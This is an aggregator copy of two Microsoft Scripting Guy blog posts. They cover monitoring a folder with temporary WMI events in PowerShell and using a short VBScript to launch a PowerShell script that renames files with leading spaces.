Upon registering the event, I can do any number of things. The easiest thing to do is to wait for the event to occur. The Wait-Event cmdlet will wait for the event that is identified by the SourceIdentifier to trigger. After it does, I store the generated event in the $fileEvent variable as shown here.

$fileEvent = Wait-Event -SourceIdentifier "MonitorFiles"

Once again, I could do anything I want to do upon notification that an event triggers. Here, I simply display the complete path to the newly created file. I will use this information tomorrow in my follow-up to today’s blog. Notice that the $fileEvent variable contains a rich object. You might want to play around with Get-Member to explore this object.

$fileEvent.SourceEventArgs.NewEvent.TargetInstance.PartComponent

When the script runs, it waits for an event to trigger. This behavior is shown in the image that follows.

Image of command output

When I create a file in the c:\test folder, within 10 seconds the temporary event consumer detects the presence of the newly created file, and Wait-Event returns the event to the $fileEvent variable. The script then displays the path to the newly created file. The image that follows illustrates the Windows PowerShell ISE following the generation of the new event.

Image of command output

Clean up after creating a temporary event subscriber

If you attempt to run the script a second time, you will more than likely receive errors. The error is because the event SourceIdentifier “MonitorFiles” already exists. The way to correct this is to unregister the event. You can do this by name, by specifying the SourceIdentifier property of the Unregister-Event cmdlet. But the easier way to do this is to use the Get-EventSubscriber cmdlet, and pipe the event subscriber to the Unregister-Event cmdlet as shown here.

Get-EventSubscriber | Unregister-Event

The unpredictable results portion of the scenario is that one WMI event already exists—the one that generated during testing. It is certainly possible to work with multiple events, but it is also easier to just clean up. The easiest way to do this is to find all of the WMI events by using the Get-Event cmdlet, and then pipe all the found WMI events to the Remove-Event cmdlet. This command is shown here.

Get-Event | Remove-Event

If you are writing a temporary WMI event consumer script, it makes sense to place the two previous commands into a function called something like Remove-WMIEventAndSubscriber. Such a function is shown here.

Function Remove-WMIEventAndSubscriber

{

 Get-EventSubscriber | Unregister-Event

 Get-Event | Remove-Event

} #end function Remove-WmiEventAndSubscriber

A function such as Remove-WMIEventAndSubscriber makes testing your script inside the Windows PowerShell ISE much easier, and it saves a lot of typing because you reset the environment each time you decide to run an additional test.

That is all there is to using a temporary WMI event to monitor a folder for the creation of a new file. Join me tomorrow for more Windows PowerShell cool stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

How to Use VBScript to Run a PowerShell Script

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows you that it's easier than you think to use VBScript to run a Windows PowerShell script.

Microsoft Scripting Guy, Ed Wilson, is here. Things are really heating up around here—and I am not just talking about the hot, humid weather down in Charlotte, North Carolina in the United States. First, I am busily getting ready for my trip to Seattle, Washington next week. I will be speaking about using Windows PowerShell 3.0 to manage the remote Windows 8 desktop to a bunch of Microsoft people from all over the world. The event (called TechReady 15) is like TechEd, only it is only for Microsoft employees. Nevertheless, in every other fashion, including the size and scope of the event, it is like TechEd. I really look forward to speaking at this event, because it is an honor to get to speak to so many smart people, and it is a great chance to see my friends from all over the world.

The second thing that is exciting are Windows 8 (which I have been running on my production machine for some time) and Office 15 (which I have just installed on my production machine). It is sooo cool, and is powerful, simple to use, and fun. Often powerful and simple do not go together in the computing world. This time, I think we did it right. The Scripting Wife is absolutely chomping at the bit to get a new slate device. I agreed to get her one for the holidays, but she wants it NOW!

The third thing that is super exciting is Windows PowerShell Saturday on September 15 at the Charlotte Microsoft office. We have just about finalized the schedule, and we have all the speakers lined up. It will be a super cool event. Keep watching, because we will be opening registration very soon, and expect it to sell out within days. We have to limit the attendance to 200 people, so you will want to ensure that you are watching for the announcement. The announcement of the opening of registration will take place on Twitter, then on Facebook on the Scripting Guys Facebook site, and then on the Scripting Guys blog, and finally on the Learn PowerShell page. So this would be a good time to get a twitter account and start following @ScriptingWife and @ScriptingGuys. By the way, I love the Rowi app on Windows 8.

Creating a VBScript to run Windows PowerShell

When creating a permanent WMI event consumer that uses the ActiveScriptEventConsumer WMI class, you need to use VBScript as the script type. This is because ActiveScriptEventConsumer does not know how to run a Windows PowerShell script. This is not a huge problem, however, because writing a VBScript script to launch a Windows PowerShell script is very easy when you know the secrets.

Note   This is the third blog in a five part series about monitoring a folder for the creation of files that have leading spaces in the file names. On Monday, I wrote Use PowerShell to Detect and Fix Files with Leading Spaces, and the scripts from that blog will be used today and again on Friday. On Tuesday, I wrote Use PowerShell to Monitor for the Creation of New Files. This blog talks about creating a temporary WMI event to monitor for the creation of files in a particular folder. This query is crucial to Friday’s blog.

There are two methods available from the WshShell Object to launch other programs. These methods are the Exec method and the Run method. For my purpose, I use the Run method. It takes two lines of VBscript code; therefore, I use Notepad to create the script. Remember to save it as a .vbs file. The script is shown here.

LaunchPowerShell.VBS

Set objShell = CreateObject("Wscript.shell")

objShell.run("powershell -noexit -file c:\fso\CleanupFiles.ps1")

The first line of code creates the WshShell object, and it stores the returned object in the objShell variable. This line is shown here.

Set objShell = CreateObject("Wscript.shell")

The second line of code runs the command. The syntax of this command is critical. It is a good idea to use the Start / Run command to practice the syntax before embedding it in the VBScript script. Here is an example of using the Run command to practice the syntax.

Image of command

If you need to bypass the execution policy, you would add that switch to the command as well. The syntax to bypass the execution policy is shown here.

powershell -executionpolicy bypass -noexit -file c:\fso\helloworld.ps1

It is also possible to run a specific Windows PowerShell command or series of commands from the VBScript script. This technique is shown here.

objShell.run("powershell -noexit -command ""&{0..15 | % {Write-Host -foreground $_ 'Hello World' }}""")

Note   Keep in mind that you are writing in VBScript. Therefore, you need to escape the quotation marks with another pair of quotation marks. Also, remember that you use REM to comment out a line, and not the pound sign character (#) that is used in Windows PowerShell.

The CleanupFiles.ps1 script referenced in the VBScript script is the Get-FilesWithLeadingSpaces function from Monday’s blog, Use PowerShell to Detect and Fix Files with Leading Spaces. I removed it from the function and placed it in a file to make it easier to call from within the VBScript script. The CleanupFiles.ps1 file is shown here.

CleanupFiles.ps1

Param(

       [string]$path = "c:\test",

       [switch]$rename = $true

       )

 Get-ChildItem -Path $path -Recurse |

 foreach-object -Begin {$count = 0} -process {

   if($_.name.length -ne $_.name.trim().length)

    {

     if($rename)

      {

        Rename-Item -Path $_.fullname -NewName ("{0}{1}{2}" -f `

         $_.basename.trim(),$count,$_.extension)

        $count++

        }

     else

      {"$($_.basename) contains a leading space"}} }

By using the New-FilesWithLeadingSpaces function from Monday, I create 10 new files with leading spaces in the names in a folder named test. These newly created folders are shown here.

Image of menu

Now, I want to try out my VBScript script to see if I can run it, and cause it to launch the Windows PowerShell script to clean up the folder. I open a command prompt, and drag the VBScript script to the command line. The command prompt is shown here.

Image of command output

When I run the script, a Windows PowerShell console appears, but it does not look like it really did anything. Here is the newly appearing Windows PowerShell console.

Image of command output

But when I go to the c:\test folder, I see that all the files are fixed. This is shown here.

Image of menu

That is all there is to using VBScript to run a Windows PowerShell script. WMI Event Monitoring Week will continue tomorrow when I will talk about using the WMI admin tools to monitor for newly arriving events.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy

Viewing all 3333 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>